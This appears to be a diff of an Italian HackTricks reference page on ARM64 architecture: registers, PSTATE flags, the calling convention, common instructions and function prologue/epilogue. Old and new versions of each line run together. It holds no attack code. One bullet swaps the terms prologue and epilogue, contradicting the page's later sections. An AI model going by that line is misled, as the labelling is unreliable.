Impara e pratica l'Hacking su AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Impara e pratica l'Hacking su GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Impara l'hacking su AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Sostieni HackTricks</summary>
Altri modi per supportare HackTricks: * Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)! * **Condividi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
</details> </details>
{% endhint %}
## **Livelli di Eccezione - EL (ARM64v8)** ## **Livelli di Eccezione - EL (ARM64v8)**
@ -39,19 +40,19 @@ ARM64 ha **31 registri a scopo generale**, etichettati da `x0` a `x30`. Ciascuno
1. **`x0`** a **`x7`** - Questi sono tipicamente utilizzati come registri temporanei e per passare parametri alle subroutine. 1. **`x0`** a **`x7`** - Questi sono tipicamente utilizzati come registri temporanei e per passare parametri alle subroutine.
* **`x0`** contiene anche i dati di ritorno di una funzione. * **`x0`** contiene anche i dati di ritorno di una funzione.
2. **`x8`** - Nel kernel Linux, `x8` viene utilizzato come numero di chiamata di sistema per l'istruzione `svc`. **In macOS viene utilizzato il x16!** 2. **`x8`** - Nel kernel Linux, `x8` viene utilizzato come numero di chiamata di sistema per l'istruzione `svc`. **In macOS viene utilizzato x16!**
3. **`x9`** a **`x15`** - Altri registri temporanei, spesso utilizzati per variabili locali. 3. **`x9`** a **`x15`** - Altri registri temporanei, spesso utilizzati per variabili locali.
4. **`x16`** e **`x17`** - **Registri di Chiamata Intra-procedurale**. Registri temporanei per valori immediati. Vengono utilizzati anche per chiamate a funzioni indirette e per gli stub PLT (Procedure Linkage Table). 4. **`x16`** e **`x17`** - **Registri di Chiamata Intra-procedurale**. Registri temporanei per valori immediati. Vengono utilizzati anche per chiamate a funzioni indirette e per stub PLT (Procedure Linkage Table).
* **`x16`** viene utilizzato come **numero di chiamata di sistema** per l'istruzione **`svc`** in **macOS**. * **`x16`** viene utilizzato come **numero di chiamata di sistema** per l'istruzione **`svc`** in **macOS**.
5. **`x18`** - **Registro di Piattaforma**. Può essere utilizzato come registro a scopo generale, ma su alcune piattaforme questo registro è riservato per usi specifici della piattaforma: Puntatore al blocco dell'ambiente del thread corrente in Windows, o per puntare alla struttura del compito attualmente **in esecuzione nel kernel Linux**. 5. **`x18`** - **Registro di Piattaforma**. Può essere utilizzato come registro a scopo generale, ma su alcune piattaforme questo registro è riservato per usi specifici della piattaforma: Puntatore al blocco dell'ambiente del thread corrente in Windows, o per puntare alla struttura del task attualmente **in esecuzione nel kernel Linux**.
6. **`x19`** a **`x28`** - Questi sono registri salvati dal chiamante. Una funzione deve preservare i valori di questi registri per il chiamante, quindi vengono memorizzati nello stack e ripristinati prima di tornare al chiamante. 6. **`x19`** a **`x28`** - Questi sono registri salvati dal chiamante. Una funzione deve preservare i valori di questi registri per il chiamante, quindi vengono memorizzati nello stack e ripristinati prima di tornare al chiamante.
7. **`x29`** - **Registro del Frame** per tenere traccia del frame dello stack. Quando viene creato un nuovo frame dello stack perché viene chiamata una funzione, il registro **`x29`** viene **memorizzato nello stack** e l'indirizzo del **nuovo** frame pointer (indirizzo **`sp`**) viene **memorizzato in questo registro**. 7. **`x29`** - **Puntatore al Frame** per tenere traccia del frame dello stack. Quando viene creato un nuovo frame dello stack perché viene chiamata una funzione, il registro **`x29`** viene **memorizzato nello stack** e l'indirizzo del **nuovo** frame pointer (indirizzo **`sp`**) viene **memorizzato in questo registro**.
* Questo registro può anche essere utilizzato come **registro a scopo generale** anche se di solito viene utilizzato come riferimento per le **variabili locali**. * Questo registro può anche essere utilizzato come **registro a scopo generale** anche se di solito viene utilizzato come riferimento per le **variabili locali**.
8. **`x30`** o **`lr`**- **Registro di Link**. Contiene l'**indirizzo di ritorno** quando viene eseguita un'istruzione `BL` (Branch with Link) o `BLR` (Branch with Link to Register) memorizzando il valore di **`pc`** in questo registro. 8. **`x30`** o **`lr`** - **Registro di Link**. Contiene l'**indirizzo di ritorno** quando viene eseguita un'istruzione `BL` (Branch with Link) o `BLR` (Branch with Link to Register) memorizzando il valore di **`pc`** in questo registro.
* Può essere utilizzato come qualsiasi altro registro. * Può essere utilizzato come qualsiasi altro registro.
* Se la funzione corrente sta per chiamare una nuova funzione e quindi sovrascrivere `lr`, lo memorizzerà nello stack all'inizio, questo è l'epilogo (`stp x29, x30 , [sp, #-48]; mov x29, sp` -> Memorizza `fp` e `lr`, genera spazio e ottieni nuovo `fp`) e lo recupererà alla fine, questo è il prologo (`ldp x29, x30, [sp], #48; ret` -> Recupera `fp` e `lr` e ritorna). * Se la funzione corrente sta per chiamare una nuova funzione e quindi sovrascrivere `lr`, lo memorizzerà nello stack all'inizio, questo è l'epilogo (`stp x29, x30 , [sp, #-48]; mov x29, sp` -> Memorizza `fp` e `lr`, genera spazio e ottiene il nuovo `fp`) e lo recupererà alla fine, questo è il prologo (`ldp x29, x30, [sp], #48; ret` -> Recupera `fp` e `lr` e ritorna).
9. **`sp`** - **Puntatore dello Stack**, utilizzato per tenere traccia della cima dello stack. 9. **`sp`** - **Puntatore dello Stack**, utilizzato per tenere traccia della cima dello stack.
* il valore di **`sp`** dovrebbe sempre essere mantenuto almeno a un **allineamento di quadword** o potrebbe verificarsi un'eccezione di allineamento. * il valore di **`sp`** dovrebbe sempre essere mantenuto almeno a un **allineamento di quadre parole** o potrebbe verificarsi un'eccezione di allineamento.
10. **`pc`** - **Contatore di Programma**, che punta alla prossima istruzione. Questo registro può essere aggiornato solo attraverso generazioni di eccezioni, ritorni di eccezioni e branch. Le uniche istruzioni ordinarie che possono leggere questo registro sono le istruzioni di branch con link (BL, BLR) per memorizzare l'indirizzo di **`pc`** in **`lr`** (Registro di Link). 10. **`pc`** - **Contatore di Programma**, che punta alla prossima istruzione. Questo registro può essere aggiornato solo attraverso generazioni di eccezioni, ritorni di eccezioni e branch. Le uniche istruzioni ordinarie che possono leggere questo registro sono le istruzioni di branch con link (BL, BLR) per memorizzare l'indirizzo di **`pc`** in **`lr`** (Registro di Link).
11. **`xzr`** - **Registro Zero**. Chiamato anche **`wzr`** nella sua forma a registro **32**-bit. Può essere utilizzato per ottenere facilmente il valore zero (operazione comune) o per eseguire confronti usando **`subs`** come **`subs XZR, Xn, #10`** memorizzando i dati risultanti da nessuna parte (in **`xzr`**). 11. **`xzr`** - **Registro Zero**. Chiamato anche **`wzr`** nella sua forma a registro **32**-bit. Può essere utilizzato per ottenere facilmente il valore zero (operazione comune) o per eseguire confronti usando **`subs`** come **`subs XZR, Xn, #10`** memorizzando i dati risultanti da nessuna parte (in **`xzr`**).
@ -59,7 +60,7 @@ I registri **`Wn`** sono la versione a **32 bit** del registro **`Xn`**.
### Registri SIMD e in Virgola Mobile ### Registri SIMD e in Virgola Mobile
Inoltre, ci sono altri **32 registri di lunghezza 128 bit** che possono essere utilizzati in operazioni ottimizzate di singola istruzione su dati multipli (SIMD) e per eseguire operazioni aritmetiche in virgola mobile. Questi sono chiamati registri Vn anche se possono operare in **64**-bit, **32**-bit, **16**-bit e **8**-bit e quindi sono chiamati **`Qn`**, **`Dn`**, **`Sn`**, **`Hn`** e **`Bn`**. Inoltre, ci sono altri **32 registri di lunghezza 128 bit** che possono essere utilizzati in operazioni ottimizzate di dati multipli con una singola istruzione (SIMD) e per eseguire operazioni aritmetiche in virgola mobile. Questi sono chiamati registri Vn anche se possono operare anche in **64**-bit, **32**-bit, **16**-bit e **8**-bit e quindi sono chiamati **`Qn`**, **`Dn`**, **`Sn`**, **`Hn`** e **`Bn`**.
### Registri di sistema ### Registri di sistema
**Ci sono centinaia di registri di sistema**, chiamati anche registri a scopo speciale (SPR), utilizzati per **monitorare** e **controllare** il **comportamento dei processori**.\ **Ci sono centinaia di registri di sistema**, chiamati anche registri a scopo speciale (SPR), utilizzati per **monitorare** e **controllare** il **comportamento dei processori**.\
@ -73,38 +74,38 @@ Sono spesso utilizzati per memorizzare l'**indirizzo di base della regione di me
### **PSTATE** ### **PSTATE**
**PSTATE** contiene diversi componenti del processo serializzati nel registro speciale **`SPSR_ELx`**, essendo X il **livello di permesso dell'eccezione** scatenata (questo consente di ripristinare lo stato del processo quando l'eccezione termina).\ **PSTATE** contiene diversi componenti del processo serializzati nel registro speciale **`SPSR_ELx`**, essendo X il **livello di permesso dell'eccezione scatenata** (ciò consente di ripristinare lo stato del processo al termine dell'eccezione).\
Questi sono i campi accessibili: Questi sono i campi accessibili:
<figure><img src="../../../.gitbook/assets/image (1196).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (1196).png" alt=""><figcaption></figcaption></figure>
* I flag di condizione **`N`**, **`Z`**, **`C`** e **`V`**: * I flag di condizione **`N`**, **`Z`**, **`C`** e **`V`**:
* **`N`** significa che l'operazione ha prodotto un risultato negativo * **`N`** indica che l'operazione ha prodotto un risultato negativo
* **`Z`** significa che l'operazione ha prodotto zero * **`Z`** indica che l'operazione ha prodotto zero
* **`C`** significa che l'operazione è stata eseguita * **`C`** indica che l'operazione è stata eseguita
* **`V`** significa che l'operazione ha prodotto un overflow con segno: * **`V`** indica che l'operazione ha prodotto un overflow con segno:
* La somma di due numeri positivi produce un risultato negativo. * La somma di due numeri positivi produce un risultato negativo.
* La somma di due numeri negativi produce un risultato positivo. * La somma di due numeri negativi produce un risultato positivo.
* Nella sottrazione, quando un grande numero negativo viene sottratto da un numero positivo più piccolo (o viceversa), e il risultato non può essere rappresentato all'interno dell'intervallo della dimensione del bit fornita. * Nella sottrazione, quando un numero negativo grande viene sottratto da un numero positivo più piccolo (o viceversa), e il risultato non può essere rappresentato all'interno dell'intervallo della dimensione dei bit fornita.
* Ovviamente il processore non sa se l'operazione è con segno o meno, quindi controllerà C e V nelle operazioni e indicherà se si è verificato un trasporto nel caso fosse con segno o senza. * Ovviamente il processore non sa se l'operazione è con segno o meno, quindi controllerà C e V nelle operazioni e indicherà se si è verificato un trasporto nel caso fosse con segno o senza segno.
{% hint style="warning" %} {% hint style="warning" %}
Non tutte le istruzioni aggiornano questi flag. Alcune come **`CMP`** o **`TST`** lo fanno, e altre che hanno un suffisso s come **`ADDS`** lo fanno anche. Non tutte le istruzioni aggiornano questi flag. Alcune come **`CMP`** o **`TST`** lo fanno, e altre che hanno un suffisso s come **`ADDS`** lo fanno anche.
{% endhint %} {% endhint %}
* Il flag di larghezza del registro corrente (`nRW`): Se il flag ha il valore 0, il programma verrà eseguito nello stato di esecuzione AArch64 una volta ripreso. * Il flag attuale della **larghezza del registro (`nRW`)**: Se il flag ha il valore 0, il programma verrà eseguito nello stato di esecuzione AArch64 una volta ripreso.
* Il **livello di eccezione corrente** (**`EL`**): Un programma regolare in esecuzione in EL0 avrà il valore 0 * Il **livello di eccezione corrente** (**`EL`**): Un programma regolare in esecuzione in EL0 avrà il valore 0
* Il flag di **singolo passaggio** (**`SS`**): Usato dai debugger per passare singolarmente impostando il flag SS a 1 all'interno di **`SPSR_ELx`** attraverso un'eccezione. Il programma eseguirà un passaggio e emetterà un'eccezione di passaggio singolo. * Il flag di **singolo passaggio** (**`SS`**): Usato dai debugger per eseguire un passo alla volta impostando il flag SS su 1 all'interno di **`SPSR_ELx`** tramite un'eccezione. Il programma eseguirà un passo e emetterà un'eccezione di passo singolo.
* Il flag di stato di eccezione illegale (**`IL`**): Viene utilizzato per contrassegnare quando un software privilegiato esegue un trasferimento di livello di eccezione non valido, questo flag viene impostato su 1 e il processore scatena un'eccezione di stato illegale. * Il flag di stato di eccezione illegale (**`IL`**): Viene utilizzato per segnalare quando un software privilegiato esegue un trasferimento di livello di eccezione non valido, questo flag viene impostato su 1 e il processore scatena un'eccezione di stato illegale.
* I flag **`DAIF`**: Questi flag consentono a un programma privilegiato di mascherare selettivamente determinate eccezioni esterne. * I flag **`DAIF`**: Questi flag consentono a un programma privilegiato di mascherare selettivamente determinate eccezioni esterne.
* Se **`A`** è 1 significa che verranno scatenati **aborti asincroni**. **`I`** configura la risposta alle **Richieste di Interruzione Hardware** esterne (IRQ) e F è relativo alle **Richieste di Interruzione Rapida** (FIR). * Se **`A`** è 1 significa che verranno scatenati **aborti asincroni**. **`I`** configura la risposta alle **Richieste di Interruzione Hardware** esterne (IRQs). e F è relativo alle **Richieste di Interruzione Rapida** (FIRs).
* I flag di selezione del puntatore dello stack (**`SPS`**): I programmi privilegiati in esecuzione in EL1 e superiori possono passare dall'utilizzare il proprio registro del puntatore dello stack e quello del modello utente (ad es. tra `SP_EL1` e `EL0`). Questo passaggio viene eseguito scrivendo nel registro speciale **`SPSel`**. Questo non può essere fatto da EL0. * I flag di selezione del puntatore dello stack (**`SPS`**): I programmi privilegiati in esecuzione in EL1 e superiori possono passare dall'utilizzare il proprio registro del puntatore dello stack e quello del modello utente (ad es. tra `SP_EL1` e `EL0`). Questo passaggio viene eseguito scrivendo nel registro speciale **`SPSel`**. Questo non può essere fatto da EL0.
## **Convenzione di chiamata (ARM64v8)** ## **Convenzione di chiamata (ARM64v8)**
La convenzione di chiamata ARM64 specifica che i **primi otto parametri** di una funzione vengono passati nei registri **`x0` attraverso `x7`**. I **parametri aggiuntivi** vengono passati nello **stack**. Il valore di **ritorno** viene restituito nel registro **`x0`**, o anche in **`x1`** se è lungo 128 bit. I registri **`x19`** a **`x30`** e **`sp`** devono essere **preservati** attraverso le chiamate di funzione. La convenzione di chiamata ARM64 specifica che i **primi otto parametri** di una funzione vengono passati nei registri **`x0` attraverso `x7`**. I **parametri aggiuntivi** vengono passati nello **stack**. Il valore di **ritorno** viene restituito nel registro **`x0`**, o anche in **`x1`** se è lungo 128 bit. I registri **`x19`** a **`x30`** e **`sp`** devono essere **preservati** durante le chiamate alle funzioni.
Quando si legge una funzione in assembly, cercare il **prologo e l'epilogo della funzione**. Il **prologo** di solito coinvolge il **salvataggio del frame pointer (`x29`)**, **impostare** un **nuovo frame pointer** e **allocare spazio nello stack**. L'**epilogo** di solito coinvolge il **ripristino del frame pointer salvato** e il **ritorno** dalla funzione. Quando si legge una funzione in assembly, cercare il **prologo e l'epilogo** della funzione. Il **prologo** di solito coinvolge il **salvataggio del frame pointer (`x29`)**, **impostare** un **nuovo frame pointer**, e **allocare spazio nello stack**. L'**epilogo** di solito coinvolge il **ripristino del frame pointer salvato** e il **ritorno** dalla funzione.
### Convenzione di chiamata in Swift ### Convenzione di chiamata in Swift
@ -112,13 +113,13 @@ Swift ha la sua **convenzione di chiamata** che può essere trovata in [**https:
## **Istruzioni Comuni (ARM64v8)** ## **Istruzioni Comuni (ARM64v8)**
Le istruzioni ARM64 generalmente hanno il **formato `opcode dst, src1, src2`**, dove **`opcode`** è l'**operazione** da eseguire (come `add`, `sub`, `mov`, ecc.), **`dst`** è il **registro di destinazione** dove verrà memorizzato il risultato, e **`src1`** e **`src2`** sono i **registri di origine**. Possono essere utilizzati anche valori immediati al posto dei registri di origine. Le istruzioni ARM64 generalmente hanno il **formato `opcode dst, src1, src2`**, dove **`opcode`** è l'**operazione** da eseguire (come `add`, `sub`, `mov`, ecc.), **`dst`** è il registro **destinazione** dove verrà memorizzato il risultato, e **`src1`** e **`src2`** sono i registri **origine**. Possono essere utilizzati anche valori immediati al posto dei registri di origine.
* **`mov`**: **Sposta** un valore da un **registro** a un altro. * **`mov`**: **Sposta** un valore da un **registro** a un altro.
* Esempio: `mov x0, x1` — Questo sposta il valore da `x1` a `x0`. * Esempio: `mov x0, x1` — Questo sposta il valore da `x1` a `x0`.
* **`ldr`**: **Carica** un valore dalla **memoria** in un **registro**. * **`ldr`**: **Carica** un valore dalla **memoria** in un **registro**.
* Esempio: `ldr x0, [x1]` — Questo carica un valore dalla posizione di memoria puntata da `x1` in `x0`. * Esempio: `ldr x0, [x1]` — Questo carica un valore dalla posizione di memoria puntata da `x1` in `x0`.
* **Modalità di offset**: Un offset che influenza il puntatore di origine è indicato, ad esempio: * **Modalità di offset**: Un offset che influisce sul puntatore di origine è indicato, ad esempio:
* `ldr x2, [x1, #8]`, questo caricherà in x2 il valore da x1 + 8 * `ldr x2, [x1, #8]`, questo caricherà in x2 il valore da x1 + 8
* `ldr x2, [x0, x1, lsl #2]`, questo caricherà in x2 un oggetto dall'array x0, dalla posizione x1 (indice) \* 4 * `ldr x2, [x0, x1, lsl #2]`, questo caricherà in x2 un oggetto dall'array x0, dalla posizione x1 (indice) \* 4
* **Modalità pre-indicizzata**: Questo applicherà calcoli all'origine, otterrà il risultato e memorizzerà anche la nuova origine nell'origine. * **Modalità pre-indicizzata**: Questo applicherà calcoli all'origine, otterrà il risultato e memorizzerà anche la nuova origine nell'origine.
@ -131,10 +132,10 @@ Le istruzioni ARM64 generalmente hanno il **formato `opcode dst, src1, src2`**,
* **`str`**: **Memorizza** un valore da un **registro** nella **memoria**. * **`str`**: **Memorizza** un valore da un **registro** nella **memoria**.
* Esempio: `str x0, [x1]` — Questo memorizza il valore in `x0` nella posizione di memoria puntata da `x1`. * Esempio: `str x0, [x1]` — Questo memorizza il valore in `x0` nella posizione di memoria puntata da `x1`.
* **`ldp`**: **Carica Coppia di Registri**. Questa istruzione **carica due registri** da **posizioni di memoria** consecutive. L'indirizzo di memoria è tipicamente formato aggiungendo un offset al valore in un altro registro. * **`ldp`**: **Carica Coppia di Registri**. Questa istruzione **carica due registri** da **posizioni di memoria** consecutive. L'indirizzo di memoria è tipicamente formato aggiungendo un offset al valore in un altro registro.
* Esempio: `ldp x0, x1, [x2]` — Questo carica `x0` e `x1` dalle posizioni di memoria a `x2` e `x2 + 8`, rispettivamente. * Esempio: `ldp x0, x1, [x2]` — Questo carica `x0` e `x1` dalle posizioni di memoria in `x2` e `x2 + 8`, rispettivamente.
* **`stp`**: **Memorizza Coppia di Registri**. Questa istruzione **memorizza due registri** in **posizioni di memoria** consecutive. L'indirizzo di memoria è tipicamente formato aggiungendo un offset al valore in un altro registro. * **`stp`**: **Memorizza Coppia di Registri**. Questa istruzione **memorizza due registri** in **posizioni di memoria** consecutive. L'indirizzo di memoria è tipicamente formato aggiungendo un offset al valore in un altro registro.
* Esempio: `stp x0, x1, [sp]` — Questo memorizza `x0` e `x1` nelle posizioni di memoria a `sp` e `sp + 8`, rispettivamente. * Esempio: `stp x0, x1, [sp]` — Questo memorizza `x0` e `x1` nelle posizioni di memoria in `sp` e `sp + 8`, rispettivamente.
* `stp x0, x1, [sp, #16]!` — Questo memorizza `x0` e `x1` nelle posizioni di memoria a `sp+16` e `sp + 24`, rispettivamente, e aggiorna `sp` con `sp+16`. * `stp x0, x1, [sp, #16]!` — Questo memorizza `x0` e `x1` nelle posizioni di memoria in `sp+16` e `sp + 24`, rispettivamente, e aggiorna `sp` con `sp+16`.
* **`add`**: **Aggiunge** i valori di due registri e memorizza il risultato in un registro. * **`add`**: **Aggiunge** i valori di due registri e memorizza il risultato in un registro.
* Sintassi: add(s) Xn1, Xn2, Xn3 | #imm, \[shift #N | RRX] * Sintassi: add(s) Xn1, Xn2, Xn3 | #imm, \[shift #N | RRX]
* Xn1 -> Destinazione * Xn1 -> Destinazione
@ -158,11 +159,11 @@ Le istruzioni ARM64 generalmente hanno il **formato `opcode dst, src1, src2`**,
* **Shift aritmetico a destra**: Come **`lsr`**, ma invece di aggiungere 0 se il bit più significativo è 1, \*\*aggiunge 1 (\*\*divide n volte per 2 in firmato) * **Shift aritmetico a destra**: Come **`lsr`**, ma invece di aggiungere 0 se il bit più significativo è 1, \*\*aggiunge 1 (\*\*divide n volte per 2 in firmato)
* **Ruota a destra**: Come **`lsr`** ma qualsiasi cosa venga rimossa da destra viene aggiunta a sinistra * **Ruota a destra**: Come **`lsr`** ma qualsiasi cosa venga rimossa da destra viene aggiunta a sinistra
* **Ruota a destra con estensione**: Come **`ror`**, ma con il flag di carry come "bit più significativo". Quindi il flag di carry viene spostato al bit 31 e il bit rimosso al flag di carry. * **Ruota a destra con estensione**: Come **`ror`**, ma con il flag di carry come "bit più significativo". Quindi il flag di carry viene spostato al bit 31 e il bit rimosso al flag di carry.
* **`bfm`**: **Spostamento di bit di campo**, queste operazioni **copiano i bit `0...n`** da un valore e li collocano nelle posizioni **`m..m+n`**. Il **`#s`** specifica la **posizione del bit più a sinistra** e **`#r`** la **quantità di rotazione a destra**. * **`bfm`**: **Bit Filed Move**, queste operazioni **copiano i bit `0...n`** da un valore e li collocano nelle posizioni **`m..m+n`**. Il **`#s`** specifica la **posizione del bit più a sinistra** e **`#r`** la **quantità di rotazione a destra**.
* Spostamento di bit di campo: `BFM Xd, Xn, #r` * Spostamento del campo bit: `BFM Xd, Xn, #r`
* Spostamento di bit di campo firmato: `SBFM Xd, Xn, #r, #s` * Spostamento del campo bit firmato: `SBFM Xd, Xn, #r, #s`
* Spostamento di bit di campo non firmato: `UBFM Xd, Xn, #r, #s` * Spostamento del campo bit non firmato: `UBFM Xd, Xn, #r, #s`
* **Estrai e inserisci bitfield:** Copia un bitfield da un registro e lo copia in un altro registro. * **Estrai e inserisci campo bit:** Copia un campo bit da un registro e lo copia in un altro registro.
* **`BFI X1, X2, #3, #4`** Inserisce 4 bit da X2 dal 3° bit di X1 * **`BFI X1, X2, #3, #4`** Inserisce 4 bit da X2 dal 3° bit di X1
* **`BFXIL X1, X2, #3, #4`** Estrae dal 3° bit di X2 quattro bit e li copia in X1 * **`BFXIL X1, X2, #3, #4`** Estrae dal 3° bit di X2 quattro bit e li copia in X1
* **`SBFIZ X1, X2, #3, #4`** Estende il segno di 4 bit da X2 e li inserisce in X1 a partire dalla posizione del bit 3 azzerando i bit a destra * **`SBFIZ X1, X2, #3, #4`** Estende il segno di 4 bit da X2 e li inserisce in X1 a partire dalla posizione del bit 3 azzerando i bit a destra
@ -180,7 +181,7 @@ Le istruzioni ARM64 generalmente hanno il **formato `opcode dst, src1, src2`**,
* Supporta la **stessa sintassi di `subs`** * Supporta la **stessa sintassi di `subs`**
* Esempio: `cmp x0, x1` — Questo confronta i valori in `x0` e `x1` e imposta i flag di condizione di conseguenza. * Esempio: `cmp x0, x1` — Questo confronta i valori in `x0` e `x1` e imposta i flag di condizione di conseguenza.
* **`cmn`**: **Confronto negativo** dell'operando. In questo caso è un **alias di `adds`** e supporta la stessa sintassi. Utile per sapere se `m == -n`. * **`cmn`**: **Confronto negativo** dell'operando. In questo caso è un **alias di `adds`** e supporta la stessa sintassi. Utile per sapere se `m == -n`.
* **`ccmp`**: Confronto condizionale, è un confronto che verrà eseguito solo se un confronto precedente è stato vero e imposterà specificamente i bit nzcv. * **`ccmp`**: Confronto condizionale, è un confronto che verrà eseguito solo se un confronto precedente è vero e imposterà specificamente i bit nzcv.
* `cmp x1, x2; ccmp x3, x4, 0, NE; blt _func` -> se x1 != x2 e x3 < x4, salta a func * `cmp x1, x2; ccmp x3, x4, 0, NE; blt _func` -> se x1 != x2 e x3 < x4, salta a func
* Questo perché **`ccmp`** verrà eseguito solo se il **precedente `cmp` era un `NE`**, se non lo fosse i bit `nzcv` verranno impostati a 0 (che non soddisferà il confronto `blt`). * Questo perché **`ccmp`** verrà eseguito solo se il **precedente `cmp` era un `NE`**, se non lo fosse i bit `nzcv` verranno impostati a 0 (che non soddisferà il confronto `blt`).
* Questo può anche essere usato come `ccmn` (stesso ma negativo, come `cmp` vs `cmn`). * Questo può anche essere usato come `ccmn` (stesso ma negativo, come `cmp` vs `cmn`).
@ -222,11 +223,11 @@ Le istruzioni ARM64 generalmente hanno il **formato `opcode dst, src1, src2`**,
* `csetm Xd, Xn, Xm, cond` -> Se vero, Xd = \<tutti 1>, se falso, Xd = 0 * `csetm Xd, Xn, Xm, cond` -> Se vero, Xd = \<tutti 1>, se falso, Xd = 0
* **`adrp`**: Calcola l'**indirizzo di pagina di un simbolo** e lo memorizza in un registro. * **`adrp`**: Calcola l'**indirizzo di pagina di un simbolo** e lo memorizza in un registro.
* Esempio: `adrp x0, symbol` — Questo calcola l'indirizzo di pagina di `symbol` e lo memorizza in `x0`. * Esempio: `adrp x0, symbol` — Questo calcola l'indirizzo di pagina di `symbol` e lo memorizza in `x0`.
* **`ldrsw`**: **Carica** un valore firmato **di 32 bit** dalla memoria e **estendilo a 64 bit**. * **`ldrsw`**: **Carica** un valore firmato **a 32 bit** dalla memoria e **estende il segno a 64** bit.
* Esempio: `ldrsw x0, [x1]` — Questo carica un valore firmato di 32 bit dalla posizione di memoria puntata da `x1`, lo estende a 64 bit e lo memorizza in `x0`. * Esempio: `ldrsw x0, [x1]` — Questo carica un valore firmato a 32 bit dalla posizione di memoria puntata da `x1`, estende il segno a 64 bit e lo memorizza in `x0`.
* **`stur`**: **Memorizza un valore di registro in una posizione di memoria**, utilizzando un offset da un altro registro. * **`stur`**: **Memorizza un valore di registro in una posizione di memoria**, utilizzando un offset da un altro registro.
* Esempio: `stur x0, [x1, #4]` — Questo memorizza il valore in `x0` nella posizione di memoria che è 4 byte maggiore rispetto all'indirizzo attualmente in `x1`. * Esempio: `stur x0, [x1, #4]` — Questo memorizza il valore in `x0` nella posizione di memoria che è 4 byte maggiore rispetto all'indirizzo attualmente in `x1`.
* **`svc`** : Effettua una **chiamata di sistema**. Sta per "Supervisor Call". Quando il processore esegue questa istruzione, **passa dalla modalità utente alla modalità kernel** e salta a una posizione specifica in memoria dove si trova il codice di gestione delle chiamate di sistema del **kernel**. * **`svc`** : Effettua una **chiamata di sistema**. Sta per "Supervisor Call". Quando il processore esegue questa istruzione, **passa dalla modalità utente alla modalità kernel** e salta a una posizione specifica in memoria dove si trova il codice di gestione delle **chiamate di sistema del kernel**.
* Esempio: * Esempio:
```armasm ```armasm
@ -246,12 +247,12 @@ stp x29, x30, [sp, #-16]! ; store pair x29 and x30 to the stack and decrement t
{% endcode %} {% endcode %}
2. **Imposta il nuovo frame pointer**: `mov x29, sp` (imposta il nuovo frame pointer per la funzione corrente) 2. **Imposta il nuovo frame pointer**: `mov x29, sp` (imposta il nuovo frame pointer per la funzione corrente)
3. **Allocare spazio nello stack per le variabili locali** (se necessario): `sub sp, sp, <size>` (dove `<size>` è il numero di byte necessari) 3. **Allocare spazio nello stack per le variabili locali** (se necessario): `sub sp, sp, <size>` (dove `<size>` è il numero di byte necessario)
### **Epilogo della Funzione** ### **Epilogo della Funzione**
1. **Dealloca le variabili locali (se ne sono state allocate)**: `add sp, sp, <size>` 1. **Dealloca le variabili locali (se ne sono state allocate)**: `add sp, sp, <size>`
2. **Ripristina il link register e il frame pointer**: 2. **Ripristina il registro del link e il frame pointer**:
{% code overflow="wrap" %} {% code overflow="wrap" %}
```armasm ```armasm
@ -264,7 +265,7 @@ ldp x29, x30, [sp], #16 ; load pair x29 and x30 from the stack and increment th
## Stato di esecuzione AARCH32 ## Stato di esecuzione AARCH32
Armv8-A supporta l'esecuzione di programmi a 32 bit. **AArch32** può funzionare in uno dei **due set di istruzioni**: **`A32`** e **`T32`** e può passare da uno all'altro tramite **`interworking`**.\ Armv8-A supporta l'esecuzione di programmi a 32 bit. **AArch32** può funzionare in uno dei **due set di istruzioni**: **`A32`** e **`T32`** e può passare da uno all'altro tramite **`interworking`**.\
I programmi **privilegiati** a 64 bit possono pianificare l'**esecuzione di programmi a 32 bit** eseguendo un trasferimento di livello di eccezione al 32 bit meno privilegiato.\ I programmi **privilegiati** a 64 bit possono pianificare l'**esecuzione di programmi a 32 bit** eseguendo un trasferimento di livello di eccezione al 32 bit a livello di privilegio inferiore.\
